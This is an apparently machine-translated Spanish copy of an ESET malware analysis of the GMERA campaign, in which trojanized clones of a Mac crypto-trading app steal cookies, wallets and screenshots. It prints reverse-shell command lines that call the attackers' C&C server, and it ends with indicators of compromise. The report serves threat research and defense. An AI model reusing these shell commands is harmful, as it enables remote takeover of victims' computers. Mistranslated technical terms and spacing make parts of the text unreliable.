Aplicación de comercio de criptomonedas Mac renombrada, incluida con malware


Los investigadores de ESET atraen a los operadores de malware GMERA para controlar de forma remota sus honeypots Mac

Recientemente hemos descubierto sitios web que distribuyen aplicaciones maliciosas de comercio de criptomonedas para Mac. Este malware se usa para robar información como cookies del navegador, billeteras de criptomonedas y capturas de pantalla. Al analizar las muestras de malware, descubrimos rápidamente que se trataba de una nueva campaña de lo que los investigadores de Trend Micro llamaron GMERA, en un análisis que publicaron en septiembre de 2019. Al igual que en las campañas anteriores, el malware informa a un servidor C&C a través de HTTP y conecta sesiones de terminal remotas a otro servidor C&C utilizando una dirección IP codificada. Esta vez, sin embargo, no solo los autores de malware envolvieron la aplicación original y legítima para incluir malware; También cambiaron el nombre de la aplicación comercial Kattana con nuevos nombres y copiaron su sitio web original. Hemos visto las siguientes marcas ficticias utilizadas en diferentes campañas: Cointrazer, Cupatrade, Licatrade y Trezarus. Además del análisis del código de malware, los investigadores de ESET también han establecido honeypots para tratar de revelar las motivaciones detrás de este grupo de delincuentes.

Distribución

Todavía no hemos podido encontrar exactamente dónde se promueven estas aplicaciones trojanizadas. Sin embargo, en marzo de 2020, Kattana publicado una advertencia sugiriendo que las víctimas fueron abordadas individualmente para atraerlas a descargar una aplicación troyanada. No pudimos confirmar que estuviera vinculado a esta campaña en particular, pero podría ser el caso.

Figura 1. Kattana advierte sobre las copias troyanizadas de su software en Twitter

Los sitios web de Copycat están configurados para que la falsa descarga de la aplicación parezca legítima. Para una persona que no conoce Kattana, los sitios web parecen legítimos.

El botón de descarga en los sitios falsos es un enlace a un archivo ZIP que contiene el paquete de aplicaciones trojanizadas.

Análisis

El análisis de malware en este caso es bastante sencillo. Tomaremos la muestra de Licatrade como el ejemplo aquí. Otras muestras tienen diferencias menores, pero las ideas y funcionalidades son esencialmente las mismas. Se proporcionan análisis similares de campañas anteriores de GMERA en Trend Micro entrada en el blog y en Objective-See's Mac malware de 2019 reporte.

Figura 4. Contenido del paquete de la aplicación Licatrade

Marcas de tiempo de modificación de los archivos en el archivo ZIP, la fecha en que se firmó la solicitud y el Última modificación El encabezado HTTP cuando descargamos el archivo muestra todo el 15 de abrilth2020. Esto sugiere que esta campaña comenzó en esa fecha.

Un script de shell (run.sh) se incluye en los recursos del paquete de aplicaciones. Este ejecutable principal, escrito en Swift, se inicia run.sh. Por alguna razón, el autor del malware ha duplicado la funcionalidad para enviar un informe simple a un servidor C&C a través de HTTP, y para conectarse a un host remoto a través de TCP que proporciona un shell remoto a los atacantes, tanto en el ejecutable principal como en el script de shell. Una funcionalidad adicional, solo en el script de shell, es configurar la persistencia instalando un Launch Agent.

Aquí está la fuente completa del script de shell (puntos suspensivos en cadena larga y defanged):

Es interesante observar que la persistencia se rompe en la muestra de Licatrade: el contenido del archivo resultante del Agente de lanzamiento (.com.apple.system.plist) no está en formato de Lista de propiedades como lanzamiento espera, pero en cambio es la línea de comando que se ejecutará.

El contenido descodificado (elipses en cadenas largas) del $ plist_text variable es:

Si se ejecuta directamente, este código abriría un shell inverso de la máquina víctima a un servidor controlado por el atacante, pero eso falla aquí. Afortunadamente para los atacantes, la última línea del script de shell también inicia un shell inverso a su servidor.

La muestra Cointrazer, utilizada en campañas anteriores a Licatrade, no sufre este problema: el Agente de inicio se instala y se inicia con éxito cuando el usuario inicia sesión.

Los diversos shells inversos utilizados por estos operadores de malware se conectan a diferentes puertos remotos dependiendo de cómo se iniciaron. Todas las conexiones no están encriptadas. Aquí hay una lista de puertos, basada en el ejemplo de Licatrade.

Puerto TCP Dónde Cómo
25733 Ejecutable de Licatrade zsh en pantalla utilizando ztcp
run.sh intento en pantalla utilizando / dev / tcp
Agente de lanzamiento (no funciona) intento en pantalla utilizando / dev / tcp
25734 Ejecutable de Licatrade zsh utilizando ztcp
25735 Ejecutable de Licatrade intento utilizando / dev / tcp
25736 Ejecutable de Licatrade intento en pantalla utilizando / dev / tcp
25737 Ejecutable de Licatrade intento en pantalla utilizando / dev / tcp
25738 Ejecutable de Licatrade zsh en pantalla utilizando ztcp

Aquí hay algunos ejemplos de líneas de comando utilizadas:

  • Bash en pantalla usando / dev / tcp:

pantalla -d -m bash -c ‘bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1’

zsh -c ‘zmodload zsh / net / tcp && ztcp 193.37.212 (.) 97 25734 && zsh> & $ REPLY 2> & $ REPLY 0> & $ REPLY’

La nueva aplicación de Kattana también se encuentra en los recursos del paquete de aplicaciones. Queríamos ver si, además del cambio de nombre e ícono en la aplicación, se cambiaba algún otro código. Dado que Kattana solicita credenciales para que las plataformas comerciales realicen operaciones comerciales, verificamos si los campos de entrada de estos se alteraron y si las credenciales se extrajeron de alguna manera. Kattana está construida con Electrón, y las aplicaciones Electron tienen un app.asar archivo, que es un archivo que contiene el código JavaScript de la aplicación. Hemos comprobado todos los cambios entre la aplicación original de Kattana y el copycat malicioso de Licatrade y descubrimos que solo se cambiaron las cadenas y las imágenes.

Figura 5. Diferencia parcial entre Kattana y Licatrade

Licatrade y sus recursos se firmaron con el mismo certificado, con el campo de nombre común establecido en Andrey Novoselov y usando ID de desarrollador M8WVDT659T. El certificado fue emitido por Apple el 6 de abrilth, 2020. Se revocó el mismo día que notificamos a Apple sobre esta aplicación maliciosa.

Figura 6. Certificado utilizado para firmar Licatrade

Figura 7. El certificado de Licatrade fue revocado el 28 de mayo de 2020

Para cada una de las otras campañas que analizamos, se utilizó un certificado diferente. Ambos ya fueron revocados por Apple cuando comenzamos nuestros análisis. Ver el IoC sección para más detalles sobre estos. Es interesante notar que en el caso de Cointrazer, solo hubo 15 minutos entre el momento en que Apple emitió el certificado y los malhechores que firmaron su solicitud troyanada. Esto, y el hecho de que no encontramos nada más firmado con la misma clave, sugiere que obtuvieron el certificado explícitamente para ese propósito.

Infraestructura

La aplicación maliciosa Licatrade estaba disponible en el licatrade.com el sitio web y su dominio del servidor de informes C&C HTTP es stepbystepby.com. Ambos dominios se registraron utilizando el levistor777@gmail.com dirección de correo electrónico. La búsqueda de otros dominios registrados con esa dirección de correo electrónico revela lo que parecen varias campañas anteriores. Aquí hay una lista de dominios que encontramos en muestras o registrados con esa dirección de correo electrónico.

Nombre de dominio Fecha de Registro Comentario
repbaerray.pw 2019-02-25 Servidor C&C para el informe HTTP de la aplicación Stockfolio
macstockfolio.com 2019-03-03 Sitio web que distribuye la aplicación maliciosa Stockfolio
latinumtrade.com 2019-07-25 Sitio web que distribuye la aplicación Latinum maliciosa
trezarus.com 2019-06-03 Sitio web que distribuye la aplicación maliciosa Trezarus
trezarus.net 2019-08-07
cointrazer.com 2019-08-18 Sitio web que distribuye la aplicación maliciosa Cointrazer
apperdenta.com 2019-08-18 Uso desconocido
narudina.com 2019-09-23 Uso desconocido
nagsrsdfsudinasa.com 2019-10-09 Servidor C&C para el informe HTTP de la aplicación Cointrazer
cupatrade.com 2020-03-28 Sitio web que distribuye la aplicación maliciosa Cupatrade
stepbystepby.com 2020-04-07 Servidor C&C para informe HTTP de la aplicación Licatrade
licatrade.com 2020-04-13 Sitio web que distribuye la aplicación maliciosa Licatrade
creditfinelor.com 2020-05-29 Página vacía, uso desconocido
maccatreck.com 2020-05-29 Algún formulario de autenticación

Tanto los sitios web como los servidores HTTP C&C que reciben el primer informe del malware están alojados detrás de Cloudflare.

Interacciones Honeypot

Para obtener más información sobre las intenciones de este grupo, configuramos honeypots donde monitoreamos todas las interacciones entre las puertas traseras de shell inverso de GMERA y los operadores de este malware.

No vimos ningún comando C&C emitido a través del canal del servidor HTTP C&C; Todo sucedió a través de los depósitos inversos. Cuando se conectó por primera vez, el servidor de C&C envió un pequeño script para recopilar el nombre de usuario, la versión de macOS y la ubicación (basada en la dirección IP externa) del dispositivo comprometido.

que envió algo como esto a los operadores:

La conexión TCP permanece abierta y espera más comandos. En nuestro caso, después de un tiempo, los operadores inspeccionaron manualmente la máquina. En varios de nuestros honeypots, los comandos utilizados para realizar esa inspección variaron. Parte de esto era solo listar archivos en todo el sistema de archivos. A veces, copiarían y pegarían un script codificado en base64 diseñado para enumerar información para revelar si el sistema es un honeypot o realmente interesante. El script se decodifica y luego se canaliza a bash.

Figura 8. Captura de paquetes del operador que envía el script de reconocimiento secundario codificado en base64

Aquí está el script decodificado:

Este script es en realidad muy similar al enchufar archivo encontrado en una de las muestras de Stockfolio analizado el año pasado. Sin embargo, en las campañas más recientes, eligieron enviar el guión de reconocimiento a través de la red solo a víctimas interesantes. También se actualizó para incluir información adicional.

Figura 9. Informe de salida que se vería en el terminal de un operador (reconstruido a partir de la captura de paquetes)

Repasaremos cada sección del guión aquí:

  • Obtiene el informe completo sobre la IP externa de ipinfo.io
  • Comprueba el modelo de Mac utilizando los últimos 4 dígitos del número de serie de Mac y un servicio HTTP proporcionado por Apple para traducirlo a un nombre descriptivo como "MacBook Pro (Retina, 15 pulgadas, finales de 2013)". Es probable que las máquinas virtuales tengan números de serie no válidos y no muestren un modelo aquí.
  • Produce la versión de macOS instalada. Hay un rojo bastante grande (usando la secuencia de escape ANSI), todas las mayúsculas advierten cuando la computadora ejecuta macOS Catalina (10.15). Creemos que entendemos por qué y hablamos de eso más tarde.
  • Comprueba cuándo se instaló macOS utilizando el tiempo de modificación del /var/db/.AppleSetupDone.
  • Produce el uso del disco y los detalles de los monitores conectados.
  • Enumera las redes Wi-Fi disponibles. Es probable que los Honeypots tengan Wi-Fi desactivado.
  • Detecta si la computadora es una máquina virtual VMware, Parallels o VirtualBox al observar las cadenas de los proveedores de dispositivos conectados.
  • Comprueba si los editores de texto comunes o las aplicaciones IDE están instalados y advierte a los operadores que "tengan cuidado" (sic) porque esta víctima podría tener más conocimientos informáticos de lo habitual.
  • Obtiene los primeros 20 comandos (es decir, el más antiguo) del archivo de historial de bash.
  • Finalmente, toma una captura de pantalla, la redimensiona y la sube a file.io. Comprueba si el sistema ejecuta macOS Catalina antes de hacerlo, pero un error en el script hace que esta comprobación sea inútil. El operador de control "&", que inicia comandos en paralelo, se usa en lugar del lógico Y ("&&") operador. Esto significa que la captura de pantalla se toma independientemente de la versión de macOS.

El hecho de que no se debe tomar una captura de pantalla en Catalina y que se mostrará una señal de advertencia obvia en el terminal del operador nos hizo preguntarnos por qué actúan de manera diferente en la versión actual de macOS. Resulta que Catalina agregó una función para grabar la pantalla o tomar una captura de pantalla debe ser aprobado por el usuario para cada aplicación Probamos tomar una captura de pantalla del shell inverso en Catalina y terminamos con la siguiente advertencia en nuestro entorno limitado, lo cual es bastante sospechoso teniendo en cuenta que una aplicación comercial no tiene por qué hacerlo.

Figura 10. Advertencia de macOS Catalina si los operadores intentan tomar una captura de pantalla

Si un sistema comprometido se considera interesante, comienza la fase de exfiltración. Los archivos interesantes se comprimen en un archivo ZIP y se cargan a través de HTTP a otro servidor, también bajo el control de los atacantes.

Figura 11. Captura de paquetes de un operador que usa el shell inverso para filtrar las cookies del navegador

Es divertido notar aquí el /tmp/h.zip El archivo no existía. Quizás copiaron y pegaron algún comando que se utilizó para otra víctima.

Según la actividad que hemos presenciado, concluimos que algunos de los intereses de los operadores de este malware son:

  • Información del navegador (cookies, historial)
  • Billeteras de criptomonedas
  • Capturas de pantalla

Conclusión

Las numerosas campañas llevadas a cabo por este grupo muestran cuánto esfuerzo han realizado durante el último año para comprometer a los usuarios de Mac en el comercio en línea. Todavía no estamos seguros de cómo alguien se convierte en una víctima, descargando una de las aplicaciones troyanizadas, pero la hipótesis de que los operadores contacten directamente a sus objetivos y los diseñen socialmente para instalar la aplicación maliciosa parece la más plausible.

Es interesante observar cómo la operación de malware es más limitada en la versión más reciente de macOS. No vimos que los operadores intentaran eludir la limitación que rodea a las capturas de pantalla. Además, creemos que la única forma en que podrían ver la pantalla de la computadora en las máquinas de la víctima que ejecutan Catalina sería filtrar las capturas de pantalla existentes tomadas por la víctima. Este es un buen ejemplo del mundo real de una implementación de mitigación en el sistema operativo que ha funcionado para limitar las actividades de los malhechores.

Indicadores de compromiso (IoC)

Muestras

SHA-1 Nombre del archivo Nombre de detección de ESET
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B Licatrade.zip múltiples amenazas
560071EF47FE5417FFF62CB5C0E33B0757D197FA Licatrade.app/Contents/Resources/run.sh OSX / Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CE Licatrade.app/Contents/MacOS/Licatrade OSX / Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229 Cointrazer.zip múltiples amenazas
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 Cointrazer.app/Contents/Resources/nytyntrun.sh OSX / Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 Cointrazer.app/Contents/MacOS/Cointrazer OSX / Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46 Stockfolio.zip múltiples amenazas
B8F19B02F9218A8DD803DA1F8650195833057E2C Stockfolio.app/Contents/MacOS/Stockfoli OSX / Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023 Stockfolio.app/Contents/Resources/run.sh OSX / Agent.AZ

Certificado de firma de código

Nombre de la aplicación Huella digital (SHA-1) Identidad del desarrollador Válida desde Aplicación registrada Revocado en
Portafolio E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF Levis Toretto (9T4J9V8NV5) 2018-11-25 2019-04-18 2019-07-26
Cointrazer 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 Andrei Sobolev (A265HSB92F) 2019-10-17 2019-10-17 2020-04-16
Licatrade BDBD92BFF8E349452B07E5F1D2883678658404A3 Andrey Novoselov (M8WVDT659T) 2020-04-06 2020-04-15 2020-05-28

Red

Nombres de dominio

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Direcciones IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicadores basados ​​en el host

Rutas de archivo

• $ HOME / Library / LaunchAgents / .com.apple.upd.plist
• $ HOME / Library / LaunchAgents / .com.apple.system.plist
• /tmp/.fil.sh
• / tmp / loglog

Lanzar etiquetas de agente

• com.apple.apps.upd
• com.apples.apps.upd

Táctica CARNÉ DE IDENTIDAD Nombre Descripción
Ejecución T1204 Ejecución de usuario La víctima necesita ejecutar la aplicación maliciosa para verse comprometida.
T1059 Interfaz de línea de comandos GMERA proporciona reversa intento y zsh conchas a sus operadores.
Persistencia T1159 Agente de lanzamiento GMERA instala un agente de lanzamiento para mantener la persistencia.
Evasión de defensa T1116 Firma de código Todas las muestras de GMERA que hemos analizado fueron firmadas y se utilizaron certificados válidos, firmados por Apple (ahora revocados).
Acceso de credenciales T1139 Bash History Un guión de reconocimiento de GMERA enumera las primeras 20 líneas del .bash_history expediente.
T1539 Robar cookie de sesión web Los operadores de GMERA roban las cookies del navegador a través de un shell inverso.
Descubrimiento T1083 Descubrimiento de archivos y directorios Los operadores de GMERA enumeran archivos en el sistema de destino a través de un shell inverso y ls .
T1497 Virtualización / Evasión de Sandbox Un script de reconocimiento de GMERA busca dispositivos específicos para hipervisores y advierte a los operadores si se ejecutan en una máquina virtual.
T1040 Sniffing de red Un script de reconocimiento de GMERA enumera las redes Wi-Fi disponibles para la Mac comprometida usando aeropuerto -s .
T1082 Descubrimiento de información del sistema Un script de reconocimiento de GMERA enumera información sobre el sistema, como la versión de macOS, las pantallas adjuntas y el modelo de Mac.
T1518 Descubrimiento de software Un script de reconocimiento de GMERA comprueba si las herramientas de desarrollador están instaladas.
Colección T1005 Datos del sistema local Los operadores de GMERA usan este malware para filtrar archivos del sistema comprometido.
T1113 La captura de pantalla Los operadores de GMERA toman capturas de pantalla del sistema comprometido y las filtran a través de file.io.
Comando y control T1043 Puerto de uso común El informe inicial del malware se realiza utilizando HTTP en su puerto TCP estándar (80).
T1065 Puerto poco utilizado Los shells inversos de GMERA se abren al conectarse a los puertos TCP del servidor C&C en el rango de 25733 a 25738.
Exfiltración T1048 Exfiltración sobre protocolo alternativo GMERA extrae archivos del shell inverso mediante HTTP a otro servidor controlado por el atacante.





Enlace a la noticia original